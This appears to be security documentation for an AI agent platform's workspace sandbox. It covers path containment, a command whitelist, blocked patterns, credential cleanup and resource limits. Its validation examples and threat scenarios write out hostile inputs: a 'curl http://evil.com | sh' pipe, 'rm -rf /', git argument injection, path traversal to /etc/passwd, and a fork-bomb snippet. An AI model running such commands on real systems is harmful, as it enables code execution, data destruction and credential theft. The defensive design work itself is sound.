Security & Sandboxing
This document describes the security architecture for code execution, file operations, and resource management in Automatos AI. The system implements a defense-in-depth strategy with five independent security layers to prevent unauthorized access, resource exhaustion, and malicious code execution. For authentication and multi-tenancy isolation at the database and API level, see Authentication & Multi-Tenancy.
The security model focuses on the workspace worker (services/workspace-worker/) which is the primary attack surface — it executes arbitrary agent-generated commands and file operations within isolated workspace directories on a persistent volume.
Multi-Layered Security Architecture
The workspace execution system enforces security at five independent layers. Each layer provides defense-in-depth protection: if one layer fails, the others still provide containment.
Defense-in-Depth Strategy: Each layer operates independently. For example, even if an attacker bypasses command validation (layer 3), path safety (layer 2) prevents writing outside the workspace, and resource limits (layer 5) prevent DoS attacks. The credential cleanup in layer 4 ensures no secrets persist beyond task completion.
Sources: services/workspace-worker/executor.py:1-537, services/workspace-worker/workspace_manager.py:1-308, orchestrator/api/workspace_github.py:36-92, services/workspace-worker/main.py:461-818
Layer 1: URL & Input Validation
GitHub Clone URL Validation
All external repository URLs pass through strict validation before reaching the worker. The validation prevents injection attacks and credential leakage.
HTTPS only
parsed.scheme != "https"
git://, http://, ssh://git@
Allowed hosts
_ALLOWED_CLONE_HOSTS set
evil.com, arbitrary domains
Branch name pattern
_BRANCH_RE = r"^[A-Za-z0-9._/\-]+$"
--upload-pack=evil, ../escape, @{injection}
PRD-70 FIX-01: Branch name validation prevents argument injection attacks. The -- separator in the git clone command (executor.py:406) ensures all arguments after it are treated as positional (URLs/paths), not flags. This blocks attacks like --upload-pack=/path/to/malicious-script.
Sources: orchestrator/api/workspace_github.py:65-92, services/workspace-worker/executor.py:366-419
Request Input Validation
All API endpoints use Pydantic models with field validators to enforce input constraints before processing:
Max Lengths: Commands are capped at 4096 bytes to prevent memory exhaustion from parsing. File paths have similar limits enforced at the Pydantic layer.
Sources: orchestrator/api/workspace_files.py:80-84, orchestrator/api/tasks.py:39-57
Layer 2: Path Safety & Filesystem Isolation
resolve_safe_path() — The Core Safety Mechanism
resolve_safe_path() — The Core Safety MechanismEvery file operation (read, write, list, grep) goes through WorkspaceManager.resolve_safe_path() which provides absolute path containment:
Blocked Path Patterns:
Directory traversal
.relative_to() check after .resolve()
../../etc/passwd, repos/../../../etc/hosts
Symlink escape
.resolve() canonicalization
ln -s /etc/passwd evil.txt → blocked if resolves outside workspace
Absolute paths
startswith("/") check
/etc/shadow, /var/log/syslog
Null byte injection
"\x00" in relative_path
file.txt\x00.exe (bypass extension checks)
Sources: services/workspace-worker/workspace_manager.py:228-254
Workspace Filesystem Layout
Each workspace gets an isolated directory tree with controlled access:
Sensitive Path Filtering: The health server's file browsing endpoints (main.py:473-481) block access to sensitive paths:
Attempting to read /api/workspaces/{id}/files/content?path=.ssh/id_ed25519 returns 403 Forbidden.
Sources: services/workspace-worker/workspace_manager.py:1-18, services/workspace-worker/main.py:472-612
Layer 3: Command Whitelist & Execution Controls
The Command Whitelist
Only binaries in the ALLOWED_COMMANDS set can execute. This prevents arbitrary code execution via obscure system utilities:
36 binaries total. Notably absent: sudo, su, systemctl, kubectl, iptables, mount, passwd, useradd — all privilege escalation or system modification tools.
Sources: services/workspace-worker/executor.py:35-73
Blocked Patterns — The Override Layer
Even if a binary is whitelisted, commands matching BLOCKED_PATTERNS are rejected:
15 patterns compiled into regex objects for efficient matching. These patterns catch dangerous operations that might slip through the whitelist (e.g., chmod 777 is technically just chmod, which is whitelisted for legitimate uses like chmod +x script.sh).
Sources: services/workspace-worker/executor.py:76-98
Command Validation Logic
The _validate_command() method performs multi-segment validation:
Path-Based Binary Rejection: Commands like /usr/bin/python or ./malicious are rejected even if the base binary (python) is whitelisted. This prevents execution of arbitrary binaries via absolute or relative paths.
Example Validations:
pytest tests/
✅ Allowed
pytest in whitelist
python -m pytest tests/
✅ Allowed
python in whitelist
sudo python test.py
❌ Blocked
Matches \bsudo\b pattern
/usr/local/bin/evil
❌ Blocked
Path-based binary
./run_exploit.sh
❌ Blocked
Relative path binary
rm -rf /
❌ Blocked
Matches rm\s+-rf\s+/\s*$ pattern
git clone && rm important.txt
✅ Allowed
Both git and rm in whitelist, no dangerous flags
python script.py && curl http://evil.com | sh
❌ Blocked
sh would need validation, but pipe operators complicate this; in practice the command is split and validated per segment
Sources: services/workspace-worker/executor.py:448-501
Shell vs Exec Mode
The executor uses two execution modes based on command complexity:
Security Note: Shell mode is used for compound commands like pytest tests/ && npm run build. This is safe because _validate_command() has already verified each segment against the whitelist and blocked patterns before the command reaches the execution stage.
Sources: services/workspace-worker/executor.py:167-184
Layer 4: Environment Sandboxing
Stripped PATH & Sandboxed Environment
The _build_sandboxed_env() method creates a minimal environment that strips all host variables:
What's Stripped:
All host environment variables (
os.environis not passed)AWS credentials, API keys, tokens from the host
Custom PATHs that might contain malicious binaries
User-specific configurations from the host
What's Included:
Standard binary locations only
Workspace-scoped HOME directory
Git and SSH configurations pointing to workspace-local files
Minimal locale and runtime settings
Sources: services/workspace-worker/executor.py:506-537
Credential Injection & Cleanup
Credentials (SSH keys, git identity, env vars) are injected per-task and cleaned up immediately after:
Credential Types:
ssh_private_key
.ssh/id_ed25519
Persist per workspace
Git clone via SSH
git_name, git_email
.gitconfig
Persist per workspace
Git commit authorship
env_vars (dict)
.task_env_{task_id}
Deleted after task
Task-specific secrets (API keys)
Ephemeral Credentials: The .task_env_{task_id} file is deleted in the finally block of _execute_task(), ensuring secrets never persist beyond task completion even if the task fails.
Sources: services/workspace-worker/workspace_manager.py:166-213, services/workspace-worker/main.py:355-358
Layer 5: Resource Quotas & Limits
Storage Quotas
Each workspace has a configurable storage quota to prevent resource exhaustion:
Enforcement: The worker checks quota before executing each task (main.py:252-264). If the workspace exceeds quota, the task fails immediately with a descriptive error message prompting the user to free space.
Default Quota: 5 GB per workspace. This is sufficient for most development tasks (cloning repos, running tests) while preventing runaway disk usage.
Sources: services/workspace-worker/workspace_manager.py:33, 82-115, services/workspace-worker/main.py:252-264
Output Size Limits
Command stdout and stderr are capped to prevent memory exhaustion from verbose output:
Truncation Indicator: The result includes a "truncated": true flag when output exceeds limits, alerting agents that full output was not captured.
Rationale: Prevents attacks where a malicious command generates infinite output (e.g., cat /dev/urandom) which would exhaust worker memory. 100KB is sufficient for most legitimate command output (test results, build logs).
Sources: services/workspace-worker/executor.py:101-207
Timeout Enforcement
All commands have a maximum execution time:
Configurable Limits:
Default: 120 seconds
Maximum (API enforced): 300 seconds (5 minutes)
Git clone timeout: 300 seconds
Force Kill: proc.kill() sends SIGKILL, which cannot be caught or ignored, ensuring the process terminates even if it's stuck in an uninterruptible state.
Sources: services/workspace-worker/executor.py:104-200
Rate Limiting (Widget API)
The widget API uses per-API-key rate limiting to prevent abuse:
Rate Limit Tiers:
Public keys (
ak_pub_*): 30 req/minServer keys (
ak_srv_*): 1000 req/minNo key (IP-based): 30 req/min
Sliding Window: Unlike fixed-window rate limiting (which can be gamed by making all requests at window boundaries), the sliding window implementation tracks exact request timestamps, providing smooth rate limiting.
Sources: orchestrator/api/widgets/rate_limit.py:36-79
Security Threat Model
The system is designed to defend against the following threat vectors:
Prevented Attacks
Directory Traversal
resolve_safe_path() with .relative_to() check
Layer 2
Symlink Escape
.resolve() canonicalization before containment check
Layer 2
Command Injection
Whitelist + blocked patterns + shlex.split()
Layer 3
Privilege Escalation
No sudo, su, systemctl in whitelist
Layer 3
Arbitrary Binary Execution
Path-based binary rejection (/usr/bin/*, ./evil)
Layer 3
Environment Pollution
Stripped os.environ, sandboxed PATH
Layer 4
Credential Theft
Sensitive path filtering, ephemeral .task_env_*
Layer 2, 4
Resource Exhaustion (disk)
Storage quotas with pre-flight check
Layer 5
Resource Exhaustion (memory)
Output size limits (100KB stdout, 50KB stderr)
Layer 5
Resource Exhaustion (CPU)
Timeout enforcement (120s default, 300s max)
Layer 5
Rate Limit Bypass
Per-API-key sliding window rate limiting
Layer 5
URL Injection
HTTPS-only, allowed hosts, no embedded credentials
Layer 1
Branch Injection
Regex validation + -- separator in git commands
Layer 1
Known Limitations
Shared Kernel
Container escape could affect host
Run worker in isolated VM/namespace
Docker Access
docker-compose is whitelisted (read-only operations)
Block socket mounts in production
Network Access
Commands can make arbitrary HTTP requests
Implement network policy in production
Fork Bombs
python -c "import os; os.fork()" can spawn many processes
Implement process count limit (cgroups)
Production Hardening: In production deployments, the worker should run in:
A dedicated VM or Kubernetes pod with resource limits (cgroups)
A network namespace with restricted egress (only allow specific domains)
No Docker socket access (remove
docker-composefrom whitelist if not needed)
Sources: All files referenced in previous sections
CORS & Widget API Security
The widget API (/api/widgets/*) has special security requirements because it's designed for embedding in external sites. Two ASGI middlewares provide protection without buffering SSE streams.
Dynamic CORS Validation
The WidgetCORSMiddleware enforces origin validation:
CORS Headers Injected:
Preflight Handling: The middleware intercepts OPTIONS requests and returns appropriate CORS headers without calling downstream handlers. If the origin is not allowed, it returns 403 Forbidden.
Sources: orchestrator/api/widgets/cors.py:1-93
Per-API-Key Rate Limiting
The WidgetRateLimitMiddleware uses a sliding-window counter to enforce per-key limits:
Rate Limit Headers (injected on every response):
429 Response (when limit exceeded):
The Retry-After header allows SDK consumers to implement exponential backoff.
Sources: orchestrator/api/widgets/rate_limit.py:1-166
Credential Management Best Practices
Temporary Credential Pattern
The workspace worker uses a per-task credential injection pattern:
Key Properties:
Scoped: Credentials are task-specific (
.task_env_{task_id})Ephemeral: Deleted in
finallyblock, even on errorsRestrictive Permissions: Files created with mode
0600(owner read/write only)Isolated: Sandboxed environment prevents credential leakage via environment variable enumeration
Sources: services/workspace-worker/main.py:269-358, services/workspace-worker/workspace_manager.py:166-213
Git Credential Handling
For GitHub cloning, the system injects OAuth tokens into HTTPS URLs:
Security Properties:
Never logged: The final
clone_urlwith token is never passed tologger.info()Not persisted: Token is not written to
.gitconfigor any fileProcess-scoped: Token only exists in the git clone subprocess memory
Fallback safe: If token retrieval fails, clone proceeds without auth (public repos only)
Sources: orchestrator/api/workspace_github.py:195-211
Summary: Defense-in-Depth in Practice
The five-layer security model ensures that no single vulnerability can compromise the system. Examples of defense-in-depth in action:
Scenario 1: Malicious File Read
An attacker tries to read /etc/passwd:
❌ Layer 1 (Input Validation): Passes —
path=/etc/passwdis a valid string❌ Layer 2 (Path Safety): BLOCKED —
resolve_safe_path("/etc/passwd")raisesSecurityError("Absolute path not allowed")N/A Layers 3-5 never reached
Scenario 2: Command Injection via sudo
sudoAn attacker tries to run sudo rm -rf /:
❌ Layer 1 (Input Validation): Passes — valid command string
N/A Layer 2 (Path Safety): Not applicable to commands
❌ Layer 3 (Command Controls): BLOCKED — Matches
\bsudo\binBLOCKED_PATTERNSN/A Layers 4-5 never reached
Scenario 3: Resource Exhaustion via Infinite Output
An attacker tries to run cat /dev/urandom:
✅ Layer 1 (Input Validation): Passes
N/A Layer 2 (Path Safety): Not applicable
✅ Layer 3 (Command Controls): Passes —
catis whitelisted✅ Layer 4 (Environment Sandbox): Passes — command executes
❌ Layer 5 (Resource Limits): MITIGATED — Output truncated at 100KB,
"truncated": trueflag set
Scenario 4: Directory Traversal via Symlink
An attacker creates a symlink ln -s /etc/passwd exposed.txt then tries to read it:
✅ Layer 1 (Input Validation): Passes —
path=exposed.txtis valid❌ Layer 2 (Path Safety): BLOCKED —
resolve_safe_path("exposed.txt")resolves symlink to/etc/passwd, which fails.relative_to()checkN/A Layers 3-5 never reached
Conclusion: The layered architecture means even sophisticated attacks that bypass one layer are caught by subsequent layers. This defense-in-depth strategy is critical for a system that executes untrusted agent-generated code.
Sources: All sections above
Last updated

